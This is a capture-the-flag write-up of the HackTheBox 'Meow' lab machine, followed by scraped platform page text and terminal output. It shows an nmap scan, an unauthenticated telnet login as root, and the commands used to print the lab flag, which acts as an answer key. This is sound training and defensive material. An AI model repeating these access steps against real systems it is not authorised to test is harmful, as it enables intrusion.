



HackTheBox – Meow Writ

By ashfin prem

◆ Introduction

- Machine Name: Meow
- Platform: [HackTheBox](#)
- Difficulty: Very Easy
- Operating System: KaliLinux
- Objective: Connect to the machine and retrieve the root flag.

◆ Setup

- Access: pwnbox
- Target IP: 10.129.34.70

◆ Reconnaissance

I started by scanning open ports with Nmap:

```
nmap -sV 10.129.34.70
```

Results:

- Port 23 (Telnet) → Open

No other major services were found.

◆ Enumeration

Since Telnet (an unencrypted remote shell protocol) is open, I attempted to connect:

```
telnet 10.129.34.70
```

The service didn't ask for credentials and directly logged me in as root.

◆ Exploitation

Once inside, I checked the system:

```
whoami
```

Output:

```
root
```

This confirms full system access.

◆ Flag Retrieval

I navigated to the root directory and looked for the flag:

```
cd /root
```

```
ls
```

```
cat flag.txt
```

Flag:

```
<HTB{b40abdfе23665f766f9c61ecba8a4c19}>
```

◆ Conclusion

This machine demonstrated:

- How to connect to HackTheBox via VPN.
- How to use Telnet to gain access.
- Importance of disabling insecure services like Telnet (replaced by SSH in modern systems).

Search Hack The Box

Meow

ACTIVE

VERY EASY

1 of 8 tasks completed

Official Writeup

Video Walkthrough

CONNECT

To attack the target machine, you must be on the same network.
Connect to the Starting Point VPN using one of the following options.

It may take a minute for HTB to recognize your connection.
If you don't see an update after 2-3 minutes, refresh the page.

Connect using Pwnbox → **RECOMMENDED**

A preconfigured, browser-based virtual machine with all the hacking tools you need pre-installed.
Free 2h of Pwnbox - Upgrade to VIP+ for Unlimited Access

Connect using OpenVPN →

Use your own machine for hacking. Download your VPN configuration and connect from your own environment.
Having Trouble? - Introduction to Lab Access

ONLINE

TARGET MACHINE IP ADDRESS

10.129.34.70

Read the [walkthrough](#) provided, to get a detailed guide on how to pwn this machine.

TASK 1

What does the acronym VM stand for?

Show Answer

TASK 2

What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It's also known as a console or shell.

SUBMIT ANSWER

HINT

kali-linux-2025.2-vmware-amd64 - VMware Workstation 17 Player

Player

1 2 3 4

Hack The Box - Starting

5f02def-3377-4d9b-b6d9 - x

HTB Viewer

https://vnc.htb-cloud.com/index.php

OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

Sun Aug 24, 04:30

VPN - 10.10.14.86 [157.ms]

Parrot

ashfinashfi's Home

my_credentials.txt

README license

Trash

my_data

52 MB Volume

htb_vpn_logs.log

Parrot Terminal

File Edit View Search Terminal Help

PING 10.129.34.70 (10.129.34.70) 56(84) bytes of data.
64 bytes from 10.129.34.70: icmp_seq=1 ttl=63 time=158 ms
64 bytes from 10.129.34.70: icmp_seq=2 ttl=63 time=159 ms
64 bytes from 10.129.34.70: icmp_seq=3 ttl=63 time=158 ms
64 bytes from 10.129.34.70: icmp_seq=4 ttl=63 time=158 ms

--- 10.129.34.70 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 158.238/158.361/158.544/0.119 ms

[eu-starting-point-2-dhcp]-[10.10.14.86]-[ashfinashfi@htb-c219f38uwd]-[-]
[+]
[+]\$ nmap -sV 10.129.34.70

Starting Nmap 7.94SVN (https://nmap.org) at 2025-08-24 04:30 CDT
Nmap scan report for 10.129.34.70
Host is up (0.16s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit /
Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds
[eu-starting-point-2-dhcp]-[10.10.14.86]-[ashfinashfi@htb-c219f38uwd]-[-]
[+]\$

HACKTHEBOX

Home [114C Loading] Parrot Terminal

31°C Mostly sunny

Search

ENG IN

15:00 24-08-2025



